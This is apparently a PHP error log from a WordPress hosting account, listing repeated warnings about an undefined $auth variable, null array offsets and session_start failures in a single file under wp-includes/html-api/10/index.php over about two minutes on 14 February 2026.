[14-Feb-2026 08:19:44 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:45 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:45 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:45 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 08:19:45 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:45 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:46 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:46 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:47 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:47 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:47 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:47 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:48 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:48 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:48 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:48 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:49 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:49 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:49 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:49 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:50 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:50 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:50 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:50 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:50 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:50 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:51 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:51 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:51 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:51 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:52 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:52 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:52 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:52 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:52 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:52 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:53 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:53 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:54 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:54 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:54 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:54 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:54 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:54 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:54 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:54 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:55 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:55 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:56 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:56 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:56 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:56 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:56 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:56 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:57 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:57 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:58 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:58 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:58 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:58 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:58 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:58 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:59 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:59 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:59 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:59 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:59 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:19:59 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:20:00 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:00 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:00 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:20:00 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:20:00 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:00 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:01 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:01 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:03 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:03 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:04 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:04 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:04 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:04 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:05 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:05 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:05 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:05 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:05 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:20:05 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:20:06 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:06 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:06 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:06 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:07 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:07 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:07 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:07 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:07 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:20:07 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:20:08 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:08 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:08 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:08 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:08 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:20:08 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:20:09 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:09 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:09 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:09 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:10 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:10 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:10 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:10 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:19 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:19 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:19 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:19 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:19 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:20:19 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:20:20 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:20 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:21 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:21 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:21 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:21 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:22 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:22 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:24 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:24 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:26 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:26 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:27 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:27 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:27 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 08:20:27 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:20:27 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:20:28 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:28 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:28 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 08:20:28 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:20:28 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:20:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:20:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:20:34 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:34 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:34 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:34 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:35 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:35 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:35 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:20:35 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:20:35 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:35 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:37 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:37 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:38 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:38 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:38 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:38 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:39 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:39 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:39 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:39 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:40 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:40 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:40 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:20:40 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:20:46 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:46 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:49 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:49 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:49 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:20:49 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:20:50 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:50 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:50 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:50 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:51 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:51 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:52 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:52 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:52 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:52 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:55 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:55 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:56 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:56 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:56 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:20:56 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:20:58 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:58 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:58 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:58 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:59 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:59 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:59 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:59 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:20:59 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:20:59 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:21:00 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:21:00 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:21:00 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:21:00 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:21:00 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:21:00 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 08:21:04 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
